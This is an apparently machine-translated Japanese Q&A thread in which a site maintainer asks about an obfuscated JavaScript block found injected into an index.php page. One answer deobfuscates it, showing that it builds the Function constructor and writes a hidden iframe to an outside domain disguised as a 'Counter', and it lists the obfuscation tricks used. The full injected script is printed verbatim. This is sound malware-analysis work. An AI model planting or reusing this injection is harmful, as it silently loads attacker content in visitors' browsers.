2

このスクリプトは、私が支援している Web サイトの index.php ページにありました。

<script type="text/javascript">$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$$_$+$._$+$.$$__+$._+"\"+$.__$+$.$_$+$.$_$+$.$$$_+"\"+$.__$+$.$_$+$.$$_+$.__+".\"+$.__$+$.$$_+$.$$$+"\"+$.__$+$.$$_+$._$_+"\"+$.__$+$.$_$+$.__$+$.__+$.$$$_+"('<"+$.$$_$+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$.$$_+"\"+$.$__+$.___+"\"+$.__$+$.$$_+$._$$+$.__+"\"+$.__$+$.$$$+$.__$+(![]+"")[$._$_]+$.$$$_+"=\\"\"+$.__$+$.$$_+$.$$_+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$._$$+"\"+$.__$+$.$_$+$.__$+$.$_$$+"\"+$.__$+$.$_$+$.__$+(![]+"")[$._$_]+"\"+$.__$+$.$_$+$.__$+$.__+"\"+$.__$+$.$$$+$.__$+":\"+$.$__+$.___+"\"+$.__$+$.$_$+$.___+"\"+$.__$+$.$_$+$.__$+$.$$_$+$.$$_$+$.$$$_+"\"+$.__$+$.$_$+$.$$_+";\\"><\"+$.__$+$.$_$+$.__$+$.$$$$+"\"+$.__$+$.$$_+$._$_+$.$_$_+"\"+$.__$+$.$_$+$.$_$+$.$$$_+"\"+$.$__+$.___+"\"+$.__$+$.$$_+$._$$+"\"+$.__$+$.$$_+$._$_+$.$$__+"=\\"\"+$.__$+$.$_$+$.___+$.__+$.__+"\"+$.__$+$.$$_+$.___+"://"+$.$$$$+"\"+$.__$+$.$$_+$._$_+".\"+$.__$+$.$__+$.$$$+$.$$$_+$._$+"\"+$.__$+$.$$_+$._$_+"\"+$.__$+$.$__+$.$$$+$.$$$_+"\"+$.__$+$.$_$+$._$$+$._$+"\"+$.__$+$.$_$+$.___+"\"+$.__$+$.$_$+$.$$_+$.$$_$+$.$$_$+"\"+$.__$+$.$$_+$._$$+"."+$.$$__+$._$+"\"+$.__$+$.$_$+$.$_$+"/"+$.$$_$+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$._$_+$.$$$_+$.$$__+$.__+".\"+$.__$+$.$$_+$.___+"\"+$.__$+$.$_$+$.___+"\"+$.__$+$.$$_+$.___+"?\"+$.__$+$.$$_+$.___+$.$_$_+"\"+$.__$+$.$__+$.$$$+$.$$$_+"="+$.$__+$._$$+$.$$$$+$.$$_$+$.$$_$+$.$__$+$.$__+$.$$__+$.__$+$.$$_+$.$$$_+$._$_+$.$$_+$.$__+$.$$$+$.$$_$+"\\"\"+$.$__+$.___+"\"+$.__$+$.$$_+$.$$$+"\"+$.__$+$.$_$+$.__$+$.$$_$+$.__+"\"+$.__$+$.$_$+$.___+"=\\""+$.$__+$.$$_+$.$___+"\\"\"+$.$__+$.___+"\"+$.__$+$.$_$+$.___+$.$$$_+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$__+$.$$$+"\"+$.__$+$.$_$+$.___+$.__+"=\\""+$.$$_+$.___+"\\"\"+$.$__+$.___+$.$_$_+(![]+"")[$._$_]+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$__+$.$$$+"\"+$.__$+$.$_$+$.$$_+"=\\""+(![]+"")[$._$_]+$.$$$_+$.$$$$+$.__+"\\">\"+$.__$+$.___+$._$$+$._$+$._+"\"+$.__$+$.$_$+$.$$_+$.__+$.$$$_+"\"+$.__$+$.$$_+$._$_+"</\"+$.__$+$.$_$+$.__$+$.$$$$+"\"+$.__$+$.$$_+$._$_+$.$_$_+"\"+$.__$+$.$_$+$.$_$+$.$$$_+"></"+$.$$_$+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$.$$_+">');"+"\"")())();
</script>

ページを開こうとすると、エラーが返されるように見えるだけです。私はそれを削除したところ、すべてが再び正常に動作しますが、どのようにしてそこに到達したのか、実際に何か有害なことをするはずだったのかはわかりません. Web サイトは aruba でホストされており、コードにアクセスできる 2 人は最近、このページでまったく作業していません。

4

2 に答える 2

5

だから今はパズルです。

コードをきれいに印刷すると、4 つの段階があります。

  1. $ を宣言する
  2. $ の現在の値を使用して辞書を作成し、それを $ に再度割り当てます。
  3. ディクショナリの他の値を使用して、ディクショナリに追加のキーと値のペアをいくつか設定します
  4. すぐに呼び出されるネストされた関数呼び出しのペアを構築する

$ 宣言は、ここにあるすべてのものと同様に、少し奇妙です。

$=~[];

Chrome コンソールでは、これは -1 を返します。数値コンテキストで評価されると、[] は 0 になり、0 の ~ (JavaScript のビット単位の NOT 演算子) は -1 になります。したがって、-1 に割り当てられた変数があります。難読化解除!

v = -1;

次に、難読化を解除して辞書を作成します。

$={ ___ : ++$,              dct={ zero  : 0,
  $$$$  : (![] + "")[$],          f     : "f",
  __$   : ++$,                    one   : 1,
  $_$_  : (![] + "")[$],          a     : "a",
  _$_   : ++$,                    two   : 2,
  $_$$  : ({} + "")[$],           b     : "b",
  $$_$  : ($[$] + "")[$],         d     : "d",
  _$$   : ++$,                    three : 3,
  $$$_  : (!"" + "")[$],          e     : "e",
  $__   : ++$,                    four  : 4,
  $_$   : ++$,                    five  : 5,
  $$__  : ({} + "")[$],           c     : "c",
  $$_   : ++$,                    six   : 6,
  $$$   : ++$,                    seven : 7,
  $___  : ++$,                    eight : 8,
  $__$  : ++$                     nine  : 9
  };                            };

したがって、0 から 9 までの値と a から f までの文字を含む辞書があります。ヘックスのにおいがする人はいますか?文字を取得する方法は、予測可能な js 生成文字列から部分文字列を選択することです。"a"、"e"、"f" の場合、falsy 値に "" を加えた値は "false" になります。b と c に対して を{}+""与え、 d を返します。[object Object]undefined

次に、辞書 ( ) の $_ (アルファと呼びます) 要素を$.$_、一連の文字列 (これまでに定義された unobf 名に加えて、_$ベータ、$$ガンマ、__デルタ、 $イプシロン、_ファイになります) の連結として構築します。

(dct.alpha = dct + "")[dct.five]    // dct.alpha = "[object Object]", yields "c"
(dct.beta  = dct.alpha[dct.one])    // dct.beta="o", yields "o"
(dct.gamma = (dct.epsilon + "")[dct.one]) // dct.gamma="n", "n"
((!dct) + "")[dct.three]            // "s"
(dct.delta = dct.alpha[dct.six])    // dct.delta="t", "t"
(dct.epsilon= (!"" + "")[dct.one])  // dct.epsilon="r", "r"
(dct.phi   = (!"" + "")[dct.two])   // dct.phi = "u", "u"
dct.alpha[dct.5]                    // "c"
dct.delta                           // "t"
dct.beta                            // "o"
dct.epsilon                         // "r"

したがって、これはすべて dct.alpha ( $.$_) を「コンストラクター」に設定します。不吉。同様の設定$.$$(ガンマと呼んでいます) で、"return" に設定します。雲が厚くなる。

今度は$.$(dct.epsilon) の別の再割り当てにより、次のように設定されます。

dct.epsilon = (dct.zero)[dct.alpha][dct.alpha]

これは単なる配列検索以上のものです。dct.zeroは 0 であるため、(0)["constructor"] は 0 の「constructor」プロパティを検索しています。javascript では、a["b"] は ab と同じであることに注意し(0)["constructor"]["constructor"]0.constructor.constructorください。0 のコンストラクターは Number 関数であり、Number 関数のコンストラクターは Function 関数です。この関数 (ポインター) は、dct.epsilon に割り当てられます。ワームが回転しました。

最後のステートメントは、次へのネストされた関数呼び出し$.$$です。

dct.epsilon(                  Function(
  dct.epsilon(                  Function(
    //long concatenation            // something functiony
  )()                           )()
)();                          )()

長い連結は関数コンストラクターに渡され、すぐに実行されます。この関数から返された関数もすぐに実行されます。

実際、これまで見てきたものはすべて足場です。使用される文字のアイデアはありますが、ほとんどすべての関数をこの方法で構築できます。上記は、必要なペイロードを保持できる一般的な難読化であると推測できます。

文字ごとに構築される文字列は次のとおりです。

return "docu\155e\156t.\167\162\151te('<d \151 ... // continues

したがって、そこにエスケープされたシーケンスがあることがわかります。実際、戻り値は、docu... 文字列全体が有効にエスケープ解除されてから、大規模に返され、外部呼び出しがそれを呼び出す準備ができていることを示しています。

したがって、外側の呼び出しは、このエスケープされていない文字列を受け取ります (読みやすくするために文字列をフォーマットおよび分割します)。

document.write( '' + ''+ 'カウンター'+ ''+ '' );

そこにあった 16 進文字列の代わりに「HEXYHEXY」を入れたところ、おそらくあなたのサイトやウイルス作成者をこのページにリンクさせることになるでしょうが、これは私たちが望んでいないことです。iframe src のドメインは、ウイルスの作成者に接続されているか、侵害された別のページである可能性があります。ワームはおそらく、あるホストを使用して、このウイルスを介して別のホストを誘導する可能性があります。私の推測では、偽のページのインプレッションが発生するだけです。ページがヒットするたびに、ターゲット ページもヒットしますが、非表示の div コンテナのために誰も広告などを表示しません。「カウンター」ビットは、秘密を目立たないように隠そうとする試みにすぎません。ブラウザーで表示されたページを見ると、無害に見える Counter iframe だけが表示されます。

避けるべきいくつかのJavaScriptのトリック

ウイルスの作成者は、このようなスクリプトを見つける単純な方法を回避するためのいくつかのトリックを持っています。

  1. ASCII エスケープを使用すると、たとえば\155「m」になるため、文字がプレーンな文字列になることはありません。
  2. 関数関数に文字列を渡して、使用する代わりに任意の関数を構築するeval
  3. 予測可能な自動生成文字列の部分文字列を使用(![]+"")[3] = "false"[3] = "s"して、単純な文字列に入れることなく個々の文字を選択する
  4. 人間の読者を混乱させるために、変数の無限の使用と名前の中での再$利用_
  5. ディクショナリ宣言で変数を使用して、コードを実行しないと静的な値を確認しにくくします。
  6. 割り当てが返されます。(a=b)a の値を返すため、(a=b)[3] は代入を行いながら、代入の値の部分文字列を返します。
  7. より大きな代入内での変数の使い捨て再代入。a = {(a=3):"b",++a:"c"}

これらはすべて、通常のコードでは非常に悪い考えです。コードが読みにくく、理解しにくくなるからです。

于 2012-05-09T16:48:05.417 に答える
2

ウイルスの可能性があります。これらの種類のウイルスは、ホストマシン(ほとんどの場合Windows)に感染し、見つかったHTMLファイルに自分自身をコピーすることで機能します。次にサーバーへの接続を開くと、「感染した」HTMLファイルがコピーされ、最終的には不注意に感染したり、訪問者に危害を加えたりすることになります。

アンチウイルスを最新の状態に保ちます。

于 2012-05-09T11:07:33.687 に答える